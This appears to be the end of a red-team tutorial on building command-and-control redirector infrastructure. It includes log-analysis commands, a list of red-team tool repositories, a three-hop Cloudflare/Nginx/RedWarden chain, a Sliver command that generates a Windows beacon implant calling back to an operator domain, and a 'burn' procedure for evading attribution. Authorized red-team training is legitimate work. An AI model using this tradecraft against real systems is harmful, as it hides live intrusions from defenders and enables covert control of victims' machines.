# https://securitytrails.com/domain/yourdomain.com/history/a
# Check domain age
whois yourdomain.com | grep -i "creation\|registered\|created"
Log Analysis: Detecting Scanner Probes
# Find non-beacon User-Agents in Nginx access logs
sudo grep -v "Mozilla/5.0 (Windows NT 10" /var/log/nginx/c2_access.log | \
awk '{print $1, $7, $12}' | sort | uniq -c | sort -rn | head -30
# Find IPs hitting multiple URIs (scanner pattern)
sudo awk '{print $1}' /var/log/nginx/c2_access.log | \
sort | uniq -c | sort -rn | head -20
# Find non-200 status hits (active probing)
sudo grep -v " 200 " /var/log/nginx/c2_access.log | \
awk '{print $1, $9, $7}' | sort | uniq -c | sort -rn | head -20
GitHub Reference Repositories
For defensive hardening, authorized lab research, and pattern reference only.
| Repository | Description | Tech |
|---|---|---|
| RedWarden | Malleable profile validator + request filter for Cobalt Strike | Python |
| RedGuard | C2 front flow control — geo-IP, JA3, time-based, hot-reload | Go |
| BounceBack | Time-filtered stealth redirector, multi-proxy, plugin system | Go |
| RedCommander | AWS automation for CS + redirectors + RedELK stack | Terraform/Ansible |
| Red-Team-Infrastructure-Wiki | Comprehensive wiki: mod_rewrite, DNS, redirector patterns | Reference |
| mod_rewrite-redirector | Dockerized Apache mod_rewrite redirector | Docker/Apache |
| c2-redirectors | Rocky Linux automated redirector + tunnel deployment scripts | Shell |
| RedCaddy | Caddy-based redirector with GEO/IP and malleable profile integration | Go/Caddy |
Capstone: Full Multi-Hop Redirector Pipeline [Advanced]
What you're building: A complete, production-grade 3-hop redirector chain: Cloudflare Worker → Nginx (OCI) → RedWarden filter → Teamserver (AWS private subnet). Every component uses a separate provider, separate certs, and automatic burn procedures.
Architecture
Implant (Windows target)
│ HTTPS to CDN domain (CF Worker IP — cloudflare.com AS)
▼
Cloudflare Worker ← Hop 1: Strips attribution, blocks scanners
│ HTTPS to edge.yourdomain-2.com
▼
Nginx on OCI Free Tier (Frankfurt) ← Hop 2: GeoIP filter, URI allow-list
│ HTTPS over WireGuard tunnel
▼
RedWarden on AWS EC2 (us-east-1) ← Hop 3: Profile validation, JA3 filter
│ Loopback to listener
▼
Teamserver (AWS EC2 private subnet) ← No public IP, only accessible via RedWarden
Build Order
# Step 1: Provision teamserver (private subnet, no public IP)
# AWS: Launch EC2 in private VPC subnet, no IGW route, only NAT outbound
# Step 2: Deploy RedWarden on a separate EC2 (public IP, SG: only OCI IP → 443)
# Install RedWarden per Action Item 6
# Point teamserver_url to teamserver's private IP
# Step 3: Set up WireGuard between OCI redirector and RedWarden EC2
# Per Action Item 8 — WireGuard Tunnel
# Step 4: Deploy Nginx on OCI free tier
# Config: proxy to RedWarden via WireGuard tunnel IP (10.99.0.1)
# GeoIP filter applied here
# Step 5: Deploy Cloudflare Worker pointing to OCI Nginx IP
# CF Worker blocks scanners, passes beacon traffic only
# Step 6: Generate Sliver/CS implants with C2 callback = CF Worker domain
sliver > generate --http https://your-cf-worker-domain.com \
--os windows --arch amd64 \
--seconds 60 --jitter 30 \
--save /tmp/beacon.exe
# Step 7: Verify the chain
curl -s -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
https://your-cf-worker-domain.com/updates/test
# Should: proxy through all 3 hops and hit teamserver listener
curl -s -A "python-requests/2.28" \
https://your-cf-worker-domain.com/updates/test
# Should: receive 302 redirect to microsoft.com at Cloudflare Worker
Burn Sequence (Full Chain)
1. Rotate beacon → new implants generated with new domain
2. Burn CF Worker → delete Worker route
3. Burn OCI Nginx → terminate OCI instance, release IP
4. Burn RedWarden EC2 → terminate instance
5. Revoke all Let's Encrypt certs
6. Pull all logs before each termination
7. Spin up fresh chain on new domains/IPs
8. Teamserver survives — never directly exposed
Quick Reference: Redirector Decision Matrix
| Scenario | Recommended Stack |
|---|---|
| Quick lab, 1 hour setup | socat or iptables dumb pipe |
| Standard engagement, HTTP/S C2 | Nginx reverse proxy + GeoIP |
| Cobalt Strike with malleable profiles | RedWarden or RedGuard |
| Long-haul engagement, max opsec | CF Worker → Nginx → RedWarden → Teamserver |
| Internal network pivot | SSH reverse tunnel or WireGuard |
| Cloud-native, zero VPS management | Cloudflare Workers + AWS CloudFront |
| Automated deployment at scale | RedCommander (Terraform/Ansible) |
The redirector is expendable. The teamserver is not. Build redirectors to be fast to deploy, easy to rotate, and zero-trust — every hop should assume the previous hop has been burned.